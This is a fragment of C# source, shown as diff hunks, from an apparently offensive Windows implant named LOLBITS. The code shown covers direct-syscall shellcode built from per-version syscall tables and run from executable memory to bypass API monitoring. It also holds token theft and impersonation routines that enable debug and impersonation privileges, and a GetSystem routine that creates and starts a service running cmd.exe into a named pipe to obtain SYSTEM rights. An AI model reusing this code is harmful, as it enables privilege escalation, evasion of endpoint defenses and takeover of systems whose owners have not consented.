val2008 = new Dictionary<string, int>();
|
||||
val2012 = new Dictionary<string, int>();
|
||||
val7 = new Dictionary<string, int>();
|
||||
val8 = new Dictionary<string, int>();
|
||||
val10 = new Dictionary<string, int>();
|
||||
|
||||
val2008.Add("SP0", 0x00F3);
|
||||
val2008.Add("SP2", 0x00F3);
|
||||
val2008.Add("R2", 0x00F9);
|
||||
val2008.Add("R2 SP1", 0x00F9);
|
||||
|
||||
val2012.Add("SP0", 0x010B);
|
||||
val2012.Add("R2", 0x010E);
|
||||
|
||||
val7.Add("UNIQUE", 0x00F9);
|
||||
|
||||
val8.Add("8.0", 0x010B);
|
||||
val8.Add("8.1", 0x010E);
|
||||
|
||||
val10.Add("1507", 0x0114);
|
||||
val10.Add("1511", 0x0117);
|
||||
val10.Add("1607", 0x0119);
|
||||
val10.Add("1703", 0x011D);
|
||||
val10.Add("1709", 0x011F);
|
||||
val10.Add("1803", 0x0121);
|
||||
val10.Add("1809", 0x0122);
|
||||
val10.Add("1903", 0x0123);
|
||||
val10.Add("1909", 0x0123);
|
||||
|
||||
_dicWinServer2008.Add("NtOpenProcessToken", val2008);
|
||||
_dicWinServer2012.Add("NtOpenProcessToken", val2012);
|
||||
_dicWin7.Add("NtOpenProcessToken", val7);
|
||||
_dicWin8.Add("NtOpenProcessToken", val8);
|
||||
_dicWin10.Add("NtOpenProcessToken", val10);
|
||||
|
||||
/////////////NtAdjustPrivilegesToken
|
||||
val2008 = new Dictionary<string, int>();
|
||||
val2012 = new Dictionary<string, int>();
|
||||
val7 = new Dictionary<string, int>();
|
||||
val8 = new Dictionary<string, int>();
|
||||
val10 = new Dictionary<string, int>();
|
||||
|
||||
val2008.Add("UNIQUE", 0x003E);
|
||||
|
||||
val2012.Add("SP0", 0x003F);
|
||||
val2012.Add("R2", 0x0040);
|
||||
|
||||
val7.Add("UNIQUE", 0x003E);
|
||||
|
||||
val8.Add("8.0", 0x003F);
|
||||
val8.Add("8.1", 0x0040);
|
||||
|
||||
val10.Add("UNIQUE", 0x0041);
|
||||
_dicWinServer2008.Add("NtAdjustPrivilegesToken", val2008);
|
||||
_dicWinServer2012.Add("NtAdjustPrivilegesToken", val2012);
|
||||
_dicWin7.Add("NtAdjustPrivilegesToken", val7);
|
||||
_dicWin8.Add("NtAdjustPrivilegesToken", val8);
|
||||
_dicWin10.Add("NtAdjustPrivilegesToken", val10);
|
||||
}
|
||||
|
||||
public byte[] GetSysCallAsm(string functionName)
|
||||
{
|
||||
const string subKey = @"SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion";
|
||||
var key = Microsoft.Win32.Registry.LocalMachine;
|
||||
var sKey = key.OpenSubKey(subKey);
|
||||
|
||||
var product = sKey?.GetValue("ProductName").ToString();
|
||||
var release = sKey?.GetValue("ReleaseId").ToString();
|
||||
|
||||
var ver = product?.Split(' ');
|
||||
Dictionary<string, Dictionary<string, int>> dict = null;
|
||||
|
||||
if(ver?[1] == "Server")
|
||||
{
|
||||
switch (ver[2]){
|
||||
case "2008": { dict = _dicWinServer2008; break; }
|
||||
case "2012": { dict = _dicWinServer2012; break; }
|
||||
case "2016": { dict = _dicWin10; break; } //syscall tables for windows server 2016 and 2019 are equivalent to that of windows 10.
|
||||
case "2019": { dict = _dicWin10; break; }
|
||||
default: { return null; }
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
switch (ver?[1])
|
||||
{
|
||||
case "7": { dict = _dicWin7; break; }
|
||||
case "8": { dict = _dicWin8; break; }
|
||||
case "10": { dict = _dicWin10; break; }
|
||||
default: { return null; }
|
||||
}
|
||||
}
|
||||
|
||||
var funcName = dict[functionName];
|
||||
var sysCallValue = funcName.ContainsKey("UNIQUE") ? funcName["UNIQUE"] : funcName[release];
|
||||
var copy = _shellCode;
|
||||
var sysCallIdentifierBytes = BitConverter.GetBytes(sysCallValue);
|
||||
Buffer.BlockCopy(sysCallIdentifierBytes, 0, copy, 4, sizeof(uint));
|
||||
|
||||
return copy;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace LOLBITS.TokenManagement
|
||||
{
|
||||
/// <summary>
|
||||
/// Defines the data protocol for reading and writing strings on our stream.
|
||||
/// </summary>
|
||||
public class StreamString
|
||||
{
|
||||
private readonly Stream ioStream;
|
||||
private readonly UnicodeEncoding streamEncoding;
|
||||
|
||||
public StreamString(Stream ioStream)
|
||||
{
|
||||
this.ioStream = ioStream;
|
||||
streamEncoding = new UnicodeEncoding();
|
||||
}
|
||||
|
||||
public string ReadString()
|
||||
{
|
||||
var len = ioStream.ReadByte() * 256;
|
||||
len += ioStream.ReadByte();
|
||||
var inBuffer = new byte[len];
|
||||
ioStream.Read(inBuffer, 0, len);
|
||||
|
||||
return streamEncoding.GetString(inBuffer);
|
||||
}
|
||||
|
||||
public int WriteString(string outString)
|
||||
{
|
||||
var outBuffer = streamEncoding.GetBytes(outString);
|
||||
var len = outBuffer.Length;
|
||||
|
||||
if (len > ushort.MaxValue)
|
||||
len = ushort.MaxValue;
|
||||
|
||||
ioStream.WriteByte((byte)(len / 256));
|
||||
ioStream.WriteByte((byte)(len & 255));
|
||||
ioStream.Write(outBuffer, 0, len);
|
||||
ioStream.Flush();
|
||||
|
||||
return outBuffer.Length + 2;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,174 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO.Pipes;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace LOLBITS.TokenManagement
|
||||
{
|
||||
public class TokenManager
|
||||
{
|
||||
public static IntPtr Token;
|
||||
public static int Method; // 1 = CreateProcessAsUser ; 2 = CreateProcessWithToken ; RunAs with valid credentials
|
||||
public static readonly string[] Credentials = new string[3]; // 1 = Username ; 2 = Domain ('.' for local) ; 3 = Password
|
||||
private static string _pipeName;
|
||||
private const int NumThreads = 1;
|
||||
private readonly SysCallManager sysCall;
|
||||
|
||||
public TokenManager(SysCallManager sysCall)
|
||||
{
|
||||
Token = IntPtr.Zero;
|
||||
Method = 0;
|
||||
this.sysCall = sysCall;
|
||||
}
|
||||
|
||||
public static void Rev2Self()
|
||||
{
|
||||
Token = IntPtr.Zero;
|
||||
Method = 0;
|
||||
}
|
||||
|
||||
public bool Impersonate (int pid)
|
||||
{
|
||||
var privileges = new List<string>
|
||||
{
|
||||
"SeDebugPrivilege",
|
||||
"SeImpersonatePrivilege",
|
||||
"SeTcbPrivilege",
|
||||
"SeAssignPrimaryTokenPrivilege",
|
||||
"SeIncreaseQuotaPrivilege"
|
||||
};
|
||||
|
||||
try
|
||||
{
|
||||
Utils.GetProcessToken(Process.GetCurrentProcess().Handle, Utils.TokenAccessFlags.TokenAdjustPrivileges,
|
||||
out var token, sysCall);
|
||||
|
||||
Utils.EnablePrivileges(token, privileges);
|
||||
|
||||
Utils.GetProcessHandle(pid, out var handlePointer, Utils.ProcessAccessFlags.QueryInformation, sysCall);
|
||||
|
||||
Utils.GetProcessToken(handlePointer, Utils.TokenAccessFlags.TokenDuplicate, out var tokenPointer,
|
||||
sysCall);
|
||||
|
||||
Utils.CloseHandle(handlePointer);
|
||||
|
||||
if (tokenPointer == IntPtr.Zero) return false;
|
||||
|
||||
var tokenAccess =
|
||||
Utils.TokenAccessFlags.TokenQuery | Utils.TokenAccessFlags.TokenAssignPrimary |
|
||||
Utils.TokenAccessFlags.TokenDuplicate | Utils.TokenAccessFlags.TokenAdjustDefault |
|
||||
Utils.TokenAccessFlags.TokenAdjustSessionId;
|
||||
|
||||
Utils.DuplicateToken(tokenPointer, tokenAccess, Utils.SecurityImpersonationLevel.SecurityImpersonation,
|
||||
Utils.TokenType.TokenPrimary, out var impToken);
|
||||
|
||||
if (impToken == IntPtr.Zero) return false;
|
||||
|
||||
|
||||
var startupInfo = new Utils.StartupInfo();
|
||||
startupInfo.cb = Marshal.SizeOf(startupInfo);
|
||||
startupInfo.lpDesktop = "";
|
||||
startupInfo.wShowWindow = 0;
|
||||
startupInfo.dwFlags |= 0x00000001;
|
||||
|
||||
var processInfo = new Utils.ProcessInformation();
|
||||
|
||||
if (Method == 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
Utils.DetermineImpersonationMethod(impToken, new Utils.LogonFlags(), startupInfo, out processInfo);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
if (Method != 0)
|
||||
{
|
||||
Token = impToken;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
public static bool GetSystem()
|
||||
{
|
||||
_pipeName = Jobs.RandomString(7);
|
||||
var exit = false;
|
||||
var server = new Thread(ServerThread);
|
||||
|
||||
var cmd = "sc create NewDefaultService2 binpath= \"c:\\windows\\system32\\cmd.exe /C echo data > \\\\.\\pipe\\" + _pipeName + "\"";
|
||||
Utils.ExecuteCommand(cmd);
|
||||
|
||||
server.Start();
|
||||
Thread.Sleep(250);
|
||||
|
||||
cmd = "sc start NewDefaultService2";
|
||||
Utils.ExecuteCommand(cmd);
|
||||
|
||||
while (!exit)
|
||||
{
|
||||
if (server.Join(250))
|
||||
exit = true;
|
||||
}
|
||||
|
||||
if (Token != IntPtr.Zero)
|
||||
return true;
|
||||
|
||||
cmd = "sc delete NewDefaultService2";
|
||||
Utils.ExecuteCommand(cmd);
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
private static void ServerThread(object data)
|
||||
{
|
||||
var pipeServer = new NamedPipeServerStream(_pipeName, PipeDirection.InOut, NumThreads);
|
||||
var threadId = Thread.CurrentThread.ManagedThreadId;
|
||||
|
||||
// Wait for a client to connect
|
||||
pipeServer.WaitForConnection();
|
||||
|
||||
try
|
||||
{
|
||||
// Read the request from the client. Once the client has
|
||||
// written to the pipe its security token will be available.
|
||||
|
||||
var ss = new StreamString(pipeServer);
|
||||
|
||||
var filename = ss.ReadString();
|
||||
var fileReader = new Utils();
|
||||
|
||||
pipeServer.RunAsClient(Utils.Start);
|
||||
|
||||
// Catch the IOException that is raised if the pipe is broken
|
||||
// or disconnected.
|
||||
}
|
||||
catch
|
||||
{
|
||||
|
||||
}
|
||||
finally
|
||||
{
|
||||
pipeServer.Close();
|
||||
}
|
||||
}
|
||||
|
||||
public static bool RunAs(string domain, string user, string password)
|
||||
{
|
||||
Utils.RunAs(domain, user, password);
|
||||
|
||||
return Method == 3;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,652 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using LOLBITS.TokenManagement;
|
||||
|
||||
namespace LOLBITS
|
||||
{
|
||||
public unsafe class Utils
|
||||
{
|
||||
private const uint SE_PRIVILEGE_ENABLED = 0x00000002;
|
||||
public const int SECURITY_MANDATORY_UNTRUSTED_RID = (0x00000000);
|
||||
public const int SECURITY_MANDATORY_LOW_RID = (0x00001000);
|
||||
public const int SECURITY_MANDATORY_MEDIUM_RID = (0x00002000);
|
||||
private const int SECURITY_MANDATORY_HIGH_RID = (0x00003000);
|
||||
public const int SECURITY_MANDATORY_SYSTEM_RID = (0x00004000);
|
||||
public const int SECURITY_MANDATORY_PROTECTED_PROCESS_RID = (0x00005000);
|
||||
private const int AnySizeArray = 1;
|
||||
|
||||
[Flags]
|
||||
public enum ProcessAccessFlags : uint
|
||||
{
|
||||
All = 0x001F0FFF,
|
||||
Terminate = 0x00000001,
|
||||
CreateThread = 0x00000002,
|
||||
VirtualMemoryOperation = 0x00000008,
|
||||
VirtualMemoryRead = 0x00000010,
|
||||
VirtualMemoryWrite = 0x00000020,
|
||||
DuplicateHandle = 0x00000040,
|
||||
CreateProcess = 0x000000080,
|
||||
SetQuota = 0x00000100,
|
||||
SetInformation = 0x00000200,
|
||||
QueryInformation = 0x00000400,
|
||||
QueryLimitedInformation = 0x00001000,
|
||||
Synchronize = 0x00100000
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct Luid
|
||||
{
|
||||
public readonly uint LowPart;
|
||||
public readonly int HighPart;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct LuidAndAttributes
|
||||
{
|
||||
public Luid Luid;
|
||||
public uint Attributes;
|
||||
}
|
||||
|
||||
public struct TokenPrivileges
|
||||
{
|
||||
public uint PrivilegeCount;
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = AnySizeArray)]
|
||||
public LuidAndAttributes[] Privileges;
|
||||
}
|
||||
|
||||
public enum LogonFlags
|
||||
{
|
||||
WithProfile = 1,
|
||||
NetCredentialsOnly
|
||||
};
|
||||
|
||||
[Flags()]
|
||||
public enum TokenAccessFlags : int
|
||||
{
|
||||
StandardRightsRequired = 0x000F0000,
|
||||
StandardRightsRead = 0x00020000,
|
||||
TokenAssignPrimary = 0x0001,
|
||||
TokenDuplicate = 0x0002,
|
||||
TokenImpersonate = 0x0004,
|
||||
TokenQuery = 0x0008,
|
||||
TokenQuerySource = 0x0010,
|
||||
TokenAdjustPrivileges = 0x0020,
|
||||
TokenAdjustGroups = 0x0040,
|
||||
TokenAdjustDefault = 0x0080,
|
||||
TokenAdjustSessionId = 0x0100,
|
||||
TokenRead = (StandardRightsRead | TokenQuery),
|
||||
TokenAllAccess = (StandardRightsRequired | TokenAssignPrimary |
|
||||
TokenDuplicate | TokenImpersonate | TokenQuery | TokenQuerySource |
|
||||
TokenAdjustPrivileges | TokenAdjustGroups | TokenAdjustDefault |
|
||||
TokenAdjustSessionId)
|
||||
}
|
||||
|
||||
public enum SecurityImpersonationLevel
|
||||
{
|
||||
SecurityAnonymous,
|
||||
SecurityIdentification,
|
||||
SecurityImpersonation,
|
||||
SecurityDelegation
|
||||
}
|
||||
|
||||
public enum TokenType
|
||||
{
|
||||
TokenPrimary = 1,
|
||||
TokenImpersonation
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum CreationFlags
|
||||
{
|
||||
CreateBreakawayFromJob = 0x01000000,
|
||||
CreateDefaultErrorMode = 0x04000000,
|
||||
CreateNewConsole = 0x00000010,
|
||||
CreateNewProcessGroup = 0x00000200,
|
||||
CreateNoWindow = 0x08000000,
|
||||
CreateProtectedProcess = 0x00040000,
|
||||
CreatePreserveCodeAuthLevel = 0x02000000,
|
||||
CreateSeparateWowVdm = 0x00001000,
|
||||
CreateSuspended = 0x00000004,
|
||||
CreateUnicodeEnvironment = 0x00000400,
|
||||
DebugOnlyThisProcess = 0x00000002,
|
||||
DebugProcess = 0x00000001,
|
||||
DetachedProcess = 0x00000008,
|
||||
ExtendedStartupInfoPresent = 0x00080000
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
public struct StartupInfo
|
||||
{
|
||||
public int cb;
|
||||
public readonly string lpReserved;
|
||||
public string lpDesktop;
|
||||
public readonly string lpTitle;
|
||||
public readonly int dwX;
|
||||
public readonly int dwY;
|
||||
public readonly int dwXSize;
|
||||
public readonly int dwYSize;
|
||||
public readonly int dwXCountChars;
|
||||
public readonly int dwYCountChars;
|
||||
public readonly int dwFillAttribute;
|
||||
public int dwFlags;
|
||||
public short wShowWindow;
|
||||
public readonly short cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
private enum TokenInformationClass
|
||||
{
|
||||
/// The buffer receives a <see cref="TokenUser"/> structure that contains the user account of the token.
|
||||
TokenUser = 1,
|
||||
/// The buffer receives a <see cref="TokenGroups"/> structure that contains the group accounts associated with the token.
|
||||
TokenGroups,
|
||||
/// The buffer receives a <see cref="TokenPrivileges"/> structure that contains the privileges of the token.
|
||||
TokenPrivileges,
|
||||
/// The buffer receives a <see cref="TokenOwner"/> structure that contains the default owner security identifier (SID) for newly created objects.
|
||||
TokenOwner,
|
||||
/// The buffer receives a <see cref="TokenPrimaryGroup"/> structure that contains the default primary group SID for newly created objects.
|
||||
TokenPrimaryGroup,
|
||||
/// The buffer receives a <see cref="TokenDefaultDacl"/> structure that contains the default DACL for newly created objects.
|
||||
TokenDefaultDacl,
|
||||
/// The buffer receives a <see cref="TokenSource"/> structure that contains the source of the token. TOKEN_QUERY_SOURCE access is needed to retrieve this information.
|
||||
TokenSource,
|
||||
/// The buffer receives a <see cref="TokenType"/> value that indicates whether the token is a primary or impersonation token.
|
||||
TokenType,
|
||||
/// The buffer receives a <see cref="TokenImpersonationLevel"/> value that indicates the impersonation level of the token. If the access token is not an impersonation token, the function fails.
|
||||
TokenImpersonationLevel,
|
||||
/// The buffer receives a <see cref="TokenStatistics"/> structure that contains various token statistics.
|
||||
TokenStatistics,
|
||||
/// The buffer receives a <see cref="TokenGroups"/> structure that contains the list of restricting SIDs in a restricted token.
|
||||
TokenRestrictedSids,
|
||||
/// The buffer receives a <see cref="TokenSessionId"/> as a DWORD value that indicates the Terminal Services session identifier that is associated with the token.
|
||||
TokenSessionId,
|
||||
/// The buffer receives a <see cref="TokenGroupsAndPrivileges"/> structure that contains the user SID, the group accounts, the restricted SIDs, and the authentication ID associated with the token.
|
||||
TokenGroupsAndPrivileges,
|
||||
/// Reserved.
|
||||
TokenSessionReference,
|
||||
/// The buffer receives a <see cref="TokenSandBoxInert"/> as a DWORD value that is nonzero if the token includes the SANDBOX_INERT flag.
|
||||
TokenSandBoxInert,
|
||||
/// Reserved.
|
||||
TokenAuditPolicy,
|
||||
/// The buffer receives a <see cref="TokenOrigin"/> value.
|
||||
TokenOrigin,
|
||||
/// The buffer receives a <see cref="TokenElevationType"/> value that specifies the elevation level of the token.
|
||||
TokenElevationType,
|
||||
/// The buffer receives a <see cref="TokenLinkedToken"/> structure that contains a handle to another token that is linked to this token.
|
||||
TokenLinkedToken,
|
||||
/// The buffer receives a <see cref="TokenElevation"/> structure that specifies whether the token is elevated.
|
||||
TokenElevation,
|
||||
/// The buffer receives a <see cref="TokenHasRestrictions"/> as a DWORD value that is nonzero if the token has ever been filtered.
|
||||
TokenHasRestrictions,
|
||||
/// The buffer receives a <see cref="TokenAccessInformation"/> structure that specifies security information contained in the token.
|
||||
TokenAccessInformation,
|
||||
/// The buffer receives a <see cref="TokenVirtualizationAllowed"/> as a DWORD value that is nonzero if virtualization is allowed for the token.
|
||||
TokenVirtualizationAllowed,
|
||||
/// The buffer receives a <see cref="TokenVirtualizationEnabled"/> as a DWORD value that is nonzero if virtualization is enabled for the token.
|
||||
TokenVirtualizationEnabled,
|
||||
/// The buffer receives a <see cref="TokenIntegrityLevel"/> structure that specifies the token's integrity level.
|
||||
TokenIntegrityLevel,
|
||||
/// The buffer receives a <see cref="TokenUiAccess"/> as a DWORD value that is nonzero if the token has the UIAccess flag set.
|
||||
TokenUiAccess,
|
||||
/// The buffer receives a <see cref="TokenMandatoryPolicy"/> structure that specifies the token's mandatory integrity policy.
|
||||
TokenMandatoryPolicy,
|
||||
/// The buffer receives the token's logon security identifier (SID).
|
||||
TokenLogonSid,
|
||||
/// The maximum value for this enumeration
|
||||
MaxTokenInfoClass
|
||||
}
|
||||
|
||||
public enum SystemInformationClass
|
||||
{
|
||||
SystemBasicInformation = 0x0000,
|
||||
SystemProcessorInformation = 0x0001,
|
||||
SystemPerformanceInformation = 0x0002,
|
||||
SystemPathInformation = 0x0004,
|
||||
SystemProcessInformation = 0x0005,
|
||||
SystemExtendedProcessInformation = 0x0039,
|
||||
SystemFullProcessInformation = 0x0094,
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct ProcessInformation
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public readonly int dwProcessId;
|
||||
public readonly int dwThreadId;
|
||||
}
|
||||
|
||||
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SecurityAttributes
|
||||
{
|
||||
public int nLength;
|
||||
public IntPtr lpSecurityDescriptor;
|
||||
public bool bInheritHandle;
|
||||
}
|
||||
|
||||
[Flags]
|
||||
internal enum MemoryAllocationFlags
|
||||
{
|
||||
Commit = 0x01000,
|
||||
Reserve = 0x02000
|
||||
}
|
||||
|
||||
[Flags]
|
||||
internal enum MemoryProtectionFlags
|
||||
{
|
||||
ExecuteReadWrite = 0x040,
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct CLIENT_ID
|
||||
{
|
||||
public IntPtr UniqueProcess;
|
||||
public IntPtr UniqueThread;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct OBJECT_ATTRIBUTES
|
||||
{
|
||||
public int Length;
|
||||
public IntPtr RootDirectory;
|
||||
private IntPtr objectName;
|
||||
public uint Attributes;
|
||||
public IntPtr SecurityDescriptor;
|
||||
public IntPtr SecurityQualityOfService;
|
||||
|
||||
public OBJECT_ATTRIBUTES(string name, uint attrs)
|
||||
{
|
||||
Length = 0;
|
||||
RootDirectory = IntPtr.Zero;
|
||||
objectName = IntPtr.Zero;
|
||||
Attributes = attrs;
|
||||
SecurityDescriptor = IntPtr.Zero;
|
||||
SecurityQualityOfService = IntPtr.Zero;
|
||||
Length = Marshal.SizeOf(this);
|
||||
}
|
||||
}
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool AdjustTokenPrivileges(IntPtr tokenHandle, [MarshalAs(UnmanagedType.Bool)]bool disableAllPrivileges, ref TokenPrivileges newState, int zero, IntPtr null1, IntPtr null2);
|
||||
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern bool DuplicateTokenEx(
|
||||
IntPtr hExistingToken,
|
||||
TokenAccessFlags dwDesiredAccess,
|
||||
IntPtr lpThreadAttributes,
|
||||
SecurityImpersonationLevel impersonationLevel,
|
||||
TokenType tokenType,
|
||||
out IntPtr phNewToken);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "CloseHandle", SetLastError = true, CharSet = CharSet.Auto,
|
||||
CallingConvention = CallingConvention.StdCall)]
|
||||
public static extern bool CloseHandle(IntPtr handle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
|
||||
public static extern bool CreateProcessAsUserW(
|
||||
IntPtr hToken,
|
||||
string lpApplicationName,
|
||||
string lpCommandLine,
|
||||
IntPtr lpProcessAttributes,
|
||||
IntPtr lpThreadAttributes,
|
||||
bool bInheritHandles,
|
||||
CreationFlags dwCreationFlags,
|
||||
IntPtr lpEnvironment,
|
||||
string lpCurrentDirectory,
|
||||
ref StartupInfo lpStartupInfo,
|
||||
out ProcessInformation lpProcessInformation);
|
||||
|
||||
[DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
public static extern bool CreateProcessWithTokenW(
|
||||
IntPtr hToken,
|
||||
LogonFlags dwLogonFlags,
|
||||
string lpApplicationName,
|
||||
string lpCommandLine,
|
||||
CreationFlags dwCreationFlags,
|
||||
IntPtr lpEnvironment,
|
||||
string lpCurrentDirectory,
|
||||
[In] ref StartupInfo lpStartupInfo,
|
||||
out ProcessInformation lpProcessInformation);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr CreatePipe(ref IntPtr hReadPipe, ref IntPtr hWritePipe, ref SecurityAttributes lpPipeAttributes, int nSize);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool ReadFile(IntPtr hFile, byte[] lpBuffer, int nNumberOfBytesToRead, ref int lpNumberOfBytesRead, IntPtr lpOverlapped);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
public static extern bool CreateProcessWithLogonW(
|
||||
string userName,
|
||||
string domain,
|
||||
string password,
|
||||
LogonFlags logonFlags,
|
||||
string applicationName,
|
||||
string commandLine,
|
||||
CreationFlags creationFlags,
|
||||
uint environment,
|
||||
string currentDirectory,
|
||||
ref StartupInfo startupInfo,
|
||||
out ProcessInformation processInformation);
|
||||
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
private static extern bool GetTokenInformation(IntPtr tokenHandle, TokenInformationClass tokenInformationClass, IntPtr tokenInformation, uint tokenInformationLength, out uint returnLength);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
internal static extern IntPtr VirtualAlloc(IntPtr baseAddress, UIntPtr size, MemoryAllocationFlags allocationType, MemoryProtectionFlags protection);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out Luid lpLuid);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
private static extern IntPtr GetSidSubAuthority(IntPtr sid, uint subAuthorityIndex);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
private static extern IntPtr GetSidSubAuthorityCount(IntPtr sid);
|
||||
|
||||
[DllImport("ntdll.dll")]
|
||||
public static extern int NtQuerySystemInformation(SystemInformationClass infoClass, IntPtr info, uint size, out uint length);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate int NtOpenProcessToken(IntPtr processHandle, TokenAccessFlags desiredAccess, out IntPtr tokenHandle);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate int NtReadVirtualMemory(IntPtr processHandle, IntPtr baseAddress, out IntPtr buffer, uint numberOfBytesToRead, out IntPtr numberOfBytesReaded);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
private delegate int NtOpenProcess(ref IntPtr hProcess, ProcessAccessFlags desiredAccess, ref OBJECT_ATTRIBUTES objectAttributes, ref CLIENT_ID clientId);
|
||||
|
||||
|
||||
public static bool EnablePrivileges(IntPtr handle, List<string> privileges)
|
||||
{
|
||||
foreach (var privilege in privileges)
|
||||
{
|
||||
|
||||
try
|
||||
{
|
||||
if (!LookupPrivilegeValue(null, privilege, out var myLuid)) continue;
|
||||
|
||||
TokenPrivileges myTokenPrivileges;
|
||||
|
||||
myTokenPrivileges.PrivilegeCount = 1;
|
||||
myTokenPrivileges.Privileges = new LuidAndAttributes[1];
|
||||
myTokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
myTokenPrivileges.Privileges[0].Luid = myLuid;
|
||||
|
||||
AdjustTokenPrivileges(handle, false, ref myTokenPrivileges, 0, IntPtr.Zero, IntPtr.Zero);
|
||||
}
|
||||
catch { return false; }
|
||||
|
||||
}
|
||||
return true;
|
||||
|
||||
}
|
||||
|
||||
public static void GetProcessHandle(int pid, out IntPtr handle, ProcessAccessFlags flags, SysCallManager sysCall)
|
||||
{
|
||||
handle = IntPtr.Zero;
|
||||
var clientId = new CLIENT_ID() { UniqueProcess = new IntPtr(pid), UniqueThread = IntPtr.Zero};
|
||||
var objectAtt = new OBJECT_ATTRIBUTES(null, 0);
|
||||
|
||||
var shellCode = sysCall.GetSysCallAsm("NtOpenProcess");
|
||||
var shellCodeBuffer = VirtualAlloc(IntPtr.Zero, (UIntPtr)shellCode.Length, MemoryAllocationFlags.Commit | MemoryAllocationFlags.Reserve, MemoryProtectionFlags.ExecuteReadWrite);
|
||||
Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length);
|
||||
var sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtOpenProcess));
|
||||
var token = IntPtr.Zero;
|
||||
var arguments = new object[] { handle, flags, objectAtt, clientId};
|
||||
var returnValue = sysCallDelegate.DynamicInvoke(arguments);
|
||||
|
||||
handle = (int)returnValue == 0 ? (IntPtr)arguments[0] : IntPtr.Zero;
|
||||
}
|
||||
|
||||
public static void GetProcessToken(IntPtr handle, TokenAccessFlags access, out IntPtr currentToken, SysCallManager sysCall)
|
||||
{
|
||||
var shellCode = sysCall.GetSysCallAsm("NtOpenProcessToken");
|
||||
var shellCodeBuffer = VirtualAlloc(IntPtr.Zero, (UIntPtr)shellCode.Length, MemoryAllocationFlags.Commit | MemoryAllocationFlags.Reserve, MemoryProtectionFlags.ExecuteReadWrite);
|
||||
Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length);
|
||||
var sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtOpenProcessToken));
|
||||
var token = IntPtr.Zero;
|
||||
var arguments = new object[] { handle, access, token };
|
||||
var returnValue = sysCallDelegate.DynamicInvoke(arguments);
|
||||
|
||||
|
||||
currentToken = (int)returnValue == 0 ? (IntPtr)arguments[2] : IntPtr.Zero;
|
||||
|
||||
}
|
||||
|
||||
public static void DuplicateToken(IntPtr token, TokenAccessFlags tokenAccess, SecurityImpersonationLevel se, TokenType type, out IntPtr duplicated)
|
||||
{
|
||||
if (!DuplicateTokenEx(token, tokenAccess, IntPtr.Zero, se, type, out duplicated))
|
||||
duplicated = IntPtr.Zero;
|
||||
}
|
